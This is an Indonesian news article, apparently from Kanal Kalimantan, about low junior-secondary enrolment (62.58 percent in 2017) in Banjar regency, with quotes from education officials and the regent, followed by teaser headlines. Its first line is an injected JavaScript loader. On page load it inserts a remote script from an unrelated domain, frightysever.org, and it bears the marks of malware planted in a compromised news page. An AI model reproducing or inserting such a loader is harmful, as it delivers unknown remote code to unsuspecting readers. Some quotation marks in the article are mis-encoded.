(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Angka Partisipasi Murni (APM) setingkat Sekolah Menengah Pertama di kabupatan banjar masih kurang menggembirakan yakni hanya 62,58 persen. Indikator yang menjadi tolak ukur capaian kinerja Dinas Pendidikan Kabupaten Banjar itu harus didorong dengan kerja keras seluruh pemangku kepentingan sekolah.
Penting diketahui, APM adalah persentase jumlah anak pada kelompok usia sekolah yang bersekolah di jenjang pendidikan, sesuai dengan usia dibanding jumlah seluruh anak pada kelompok usia sekolah yang bersangkutan.
Menurut Kepala Dinas Pendidikan Banjar H Gusti Ruspan Noor, pada 2017 capaian indikator kinerja APM tingkat SMP, MTs, SMPLB masih berada di 62,58 persen. Sebaliknya, indikator APM tingkat SD, MI, dan SDLB sangat memuaskan di posisi 97,36 persen.
“Target APM SMP tahun 2018 yang sesuai RPJMD harus lebih 70,06 persen. Tentu ini kerja keras semua pihak, upaya kami salah satunya membangun unit sekolah baru secara bertahap, penambahan ruang belajar dan perbaikan sarana dan prasarana,†terang Ruspan Noor setelah pengucapan Ikrar dan komitmen Kepala Sekolah SD dan SMP meningkatkan APK dan APM Pendidikan Sekolah Dasar, di Aula KH Kasyful Anwar, Dinas Pendidikan Kabupaten Banjar, Jumat (9/2).
Rata-rata, lama sekolah anak-anak Kabupaten Banjar pada 2017 lalu sekitar 7,6 tahun. Itu menjadi bukti bahwa kualitas penduduk Kabupaten Banjar yang mengenyam pendidikan formal sampai kelas 1 SMP sederajat.
“Padahal berkenaan angka rata-rata lama sekolah ini kita telah banyak melakukan upaya kongkrit diantaranya giat melakukan Pendidikan keluarga yang melibatkan unsur Orangtua siswa sebagai upaya antisipasi siswa putus sekolah,†kata Ruspan Noor.
Sementara itu, Bupati Banjar H Khalilurrahman punya jawaban menarik terkait rata-rata lama usia sekolah anak di Kabupaten Banjar. Menurutnya, anak-anak Kabupaten Banjar bukan drop out dari sekolah, cuma mengganti jenjang pendidikan formal ke pondok pesantren. Kebiasaan, lulus sekolah dasar dan berbondong-bondong pindah ke pendidikan agama yang menjamur di kabupaten ini.
“Solusinya, Dinas Pendidikan Banjar memperbanyak program sekolah pendidikan kesetaraan seperti kejar Paket A, Kejar Paket B, dan Kejar Paket C,†pungkasnya.(hendera)
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru akan ikut… Read More
KANALKALIMANTAN.COM - Menjelang liburan Natal 2024 dan Tahun Baru 2025 (Nataru), kebutuhan akan layanan perbankan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dua Ibu Rumah Tangga (IRT) dibekuk Satuan Reserse Narkoba (Satrenarkoba) Kepolisian Resor… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menyambut Siaga Kelistrikan Natal 2024 dan Tahun Baru 2025, PT PLN (Persero)… Read More
KANALKALIMANTAN.COM, CILEGON - Wakil Menteri Badan Usaha Milik Negara (BUMN) Aminuddin Ma’ruf memastikan infrastruktur Stasiun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sesosok jasad lelaki tak bernyawa ditemukan tergeletak di pinggir jalan depan kantor… Read More
This website uses cookies.